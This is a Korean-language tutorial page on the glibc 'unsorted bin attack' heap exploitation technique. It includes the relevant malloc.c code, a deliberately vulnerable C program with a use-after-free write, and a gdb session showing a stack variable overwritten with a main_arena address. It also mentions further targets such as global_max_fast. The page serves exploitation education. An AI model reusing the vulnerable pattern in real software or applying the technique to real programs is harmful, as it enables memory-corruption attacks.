Page tree
Skip to end of metadata
Go to start of metadata

Excuse the ads! We need some help to keep our site up.

List

Conditions

  • 해당 기술은 다음과 같은 조건에서 동작합니다.
    • 공격자에 의해 Unsorted chunk를 생성 할 수있어야 합니다.
    • 공격자에 의해 Free chunk 영역에 값을 저장 할 수 있어야 합니다.
    • 공격자에 의해 Free chunk 와 동일한 크기의 Heap 영역을 할당 할 수 있어야 합니다.

Exploit plan

  • 다음과 같은 방법으로 공격할 수 있습니다.
    • 2개의 Heap(Small chunk)을 생성합니다.

    • 첫번째 Heap 영역을 해제합니다.

      • 해당 Heap 영역은 Unsort bin에 등록됩니다.
    • 해제된 첫번째 Heap의 bk 영역에 공격 대상이 될 주소 값을 덮어 씁니다.

      • bk 영역에 저장 값 계산
        • 32 bit : 공격 대상의 주소 값 - 8
        • 64 bit : 공격 대상의 주소 값 - 16
    • 첫번째 Heap 영역과 동일한 크기의 Heap 영역을 할당 합니다.

      • 이로 인해 공격 대상 영역에 main_arena 영역의 주소가 저장됩니다.

Exploit point

  • 아래의 malloc.c 코드에 의해 취약성이 발생합니다.
    • unsorted bin에 등록된 unsorted chunk의 bk값을 변경하여 victim의 값을 변경할 수 있습니다.
    • 변경된 victim의 bk영역에 저장된 값을 bck에 저장합니다.
    • 이로 인해 변경된 unsorted chunk의 bk값 + 0x10 영역에 main_arena.top의 주소값을 저장할 수 있습니다.(line 3511)
malloc.c
  for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
			...

          /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

			...
		}

unsorted_chunks (av)

unsorted_chunks() 함수는 main_arena.top 의 주소를 리턴 합니다.

Example

Files

Source code

#include <stdio.h>
#include <stdlib.h>

int main(){
        long state = 0;

        printf("Stack : %p\n", &state);
        char *buf1 = malloc(130);
        char *buf2 = malloc(500);

        free(buf1);

        scanf("%16s",buf1);

        buf1 = malloc(130);

        if(state){
                printf("Hello world!\n");
        }
}

Exploit flow

unsorted bin attack

Debugging

  • 다음과 같이 Break point를 설정합니다.
    • 0x4006c6 : free() 함수 호출
    • 0x4006dc : scanf() 함수 호출
    • 0x4006e6 :  malloc() 함수 호출
    • 0x4006fd : put() 함수 호출
Break points
gdb-peda$ b *0x00000000004006c6
Breakpoint 1 at 0x4006c6
gdb-peda$ b *0x00000000004006dc
Breakpoint 2 at 0x4006dc
gdb-peda$ b *0x00000000004006e6
Breakpoint 3 at 0x4006e6
gdb-peda$ b *0x00000000004006fd
Breakpoint 4 at 0x4006fd
  • 다음과 같이 Heap 의 구조와 Unsorted bin의 상태를 확인할 수 있습니다.
    • Unsorted bin에 등록된 chunk는 없습니다.
check of Unsorted bin and Heap
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/def/unsortedBinAttack 
Stack : 0x7fffffffe258

Breakpoint 1, 0x00000000004006c6 in main ()
gdb-peda$ p main_arena.bins[1]
$1 = (mchunkptr) 0x7ffff7dd37b8 <main_arena+88>

gdb-peda$ x/84gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000201
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000000000
0x602190:	0x0000000000000000	0x0000000000000000
0x6021a0:	0x0000000000000000	0x0000000000000000
0x6021b0:	0x0000000000000000	0x0000000000000000
0x6021c0:	0x0000000000000000	0x0000000000000000
0x6021d0:	0x0000000000000000	0x0000000000000000
0x6021e0:	0x0000000000000000	0x0000000000000000
0x6021f0:	0x0000000000000000	0x0000000000000000
0x602200:	0x0000000000000000	0x0000000000000000
0x602210:	0x0000000000000000	0x0000000000000000
0x602220:	0x0000000000000000	0x0000000000000000
0x602230:	0x0000000000000000	0x0000000000000000
0x602240:	0x0000000000000000	0x0000000000000000
0x602250:	0x0000000000000000	0x0000000000000000
0x602260:	0x0000000000000000	0x0000000000000000
0x602270:	0x0000000000000000	0x0000000000000000
0x602280:	0x0000000000000000	0x0000000000000000
0x602290:	0x0000000000000000	0x0000000000020d71
gdb-peda$
  • 다음과 같이 bk영역에 값을 덮어쓸수 있습니다.
    • 첫번째 Heap 영역이 해제되어 Unsorted bin에 등록되었습니다.
    • 첫번째 Heap 영역이 Free chunk로 변경되었으며, 해당 영역을 덮어쓸 수 있습니다.
      • 'A' * 8 + 'B' * 8 개의 문자를 입력
    • Unsorted bin attack을 확인하기 위해 아래와 같이 값을 변경합니다.
      • 0x602010 : 0x00007ffff7dd37b8

      • 0x602018 : state addr(0x7fffffffe258) - 16 = 0x00007fffffffe248
Overwrite for fd and bk
gdb-peda$ c

Continuing.
Breakpoint 2, 0x00000000004006dc in main ()

gdb-peda$ p main_arena.bins[1]
$2 = (mchunkptr) 0x602000
gdb-peda$ x/6gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x00007ffff7dd37b8	0x00007ffff7dd37b8
0x602020:	0x0000000000000000	0x0000000000000000

gdb-peda$ ni
AAAAAAAABBBBBBBB

gdb-peda$ x/6gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x4141414141414141	0x4242424242424242
0x602020:	0x0000000000000000	0x0000000000000000

0x00000000004006e1 in main ()
gdb-peda$ set *0x602010 = 0x00007ffff7dd37b8
gdb-peda$ set *0x602014 = 0x00007fff
gdb-peda$ set *0x602018 = 0x7fffffffe258 - 16
gdb-peda$ set *0x60201c = 0x7fff
gdb-peda$ x/6gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x00007ffff7dd37b8	0x00007fffffffe248
0x602020:	0x0000000000000000	0x0000000000000000
gdb-peda$
  • 다음과 같이 state 변수에 값이 저장되었습니다.
    • 해제된 첫번째 Heap 영역과 동일한 크기의 Heap 영역을 할당해서 state변수에 값이 저장되었습니다.
    • 저장된 값은 main_arena+88 영역의 주소 값입니다.
    • main_arena+88 영역은  main_arena의 top영역입니다.
  • 이러한 현상은 free chunk의 bk영역에 덮어썻기 때문입니다.
    • free() 함수에서 덮어쓴 bk값을 확인하고 다음 Chunk가 존재한다고 판단했기 때문입니다.
    • free() 함수는 0x00007fffffffe248 영역이 다음 chunk이기 때문에 fd 영역(0x7fffffffe258)에 free chunk의 fd값(0x7ffff7dd37b8)을 저장합니다.
The value of State variable changed
gdb-peda$ c
Continuing.

Breakpoint 3, 0x00000000004006e6 in main ()
gdb-peda$ x/gx 0x7fffffffe258
0x7fffffffe258:	0x0000000000000000

gdb-peda$ ni
0x00000000004006eb in main ()

gdb-peda$ x/gx 0x7fffffffe258
0x7fffffffe258:	0x00007ffff7dd37b8
gdb-peda$ x/gx 0x00007ffff7dd37b8
0x7ffff7dd37b8 <main_arena+88>:	0x0000000000602290
gdb-peda$ p &main_arena.top 
$3 = (mchunkptr *) 0x7ffff7dd37b8 <main_arena+88>
gdb-peda$ p main_arena.bins[1]
$10 = (mchunkptr) 0x7fffffffe248
gdb-peda$ 
  • 다음과 같이 프로그램에서 문장을 출력합니다.
    • state 변수의 값이 저장되어 if()의 조건을 만족시켰습니다.
  • 해당 예제에서는 단순히 if()의 조건을 우회하기 위해 사용했으나, 다른 방법으로도 악용할 수 있습니다.
    • main_arena 영역에 값을 덮어쓰거나, global_max_fast 의 값을 변경 할 수 있습니다.
Outputs "Hello World!".
gdb-peda$ c
Continuing.

Breakpoint 4, 0x00000000004006fd in main ()
gdb-peda$  ni
Hello world!

0x0000000000400702 in main ()
gdb-peda$

Related information